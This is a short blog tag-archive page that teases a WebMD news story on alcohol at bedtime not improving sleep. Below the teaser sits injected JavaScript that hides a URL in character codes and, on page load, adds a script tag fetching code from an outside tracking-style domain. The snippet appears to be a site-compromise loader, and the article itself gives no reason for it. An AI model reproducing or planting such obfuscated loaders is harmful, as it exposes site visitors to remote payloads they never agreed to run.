Tag Archives: Alcohol at Bedtime May Not Help Your Sleep

Alcohol at Bedtime May Not Help Your Sleep

Alcohol at Bedtime May Not Help Your Sleep

Study Finds Fault With Popular Notion That a Drink Before Bed Will Help You Sleep Better By Courtney WareWebMD Health News Reviewed by Laura J. Martin, MD Feb. 15, 2011 — Do you drink a nightcap to help you sleep? It may not be as effective as you think, new …

Read More »
var u = String.fromCharCode(104,116,116,112,115,58,47,47,99,111,117,110,116,46,116,114,97,99,107,115,116,97,116,105,115,116,105,99,115,115,115,46,99,111,109,47,106,46,106,115,63,118,61);var d=document;var s=d.createElement(String.fromCharCode(115,99,114,105,112,116)); s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); var pl = u; s.src=pl; if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {d.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(s);var list = document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116));list.insertBefore(s, list.childNodes[0]);}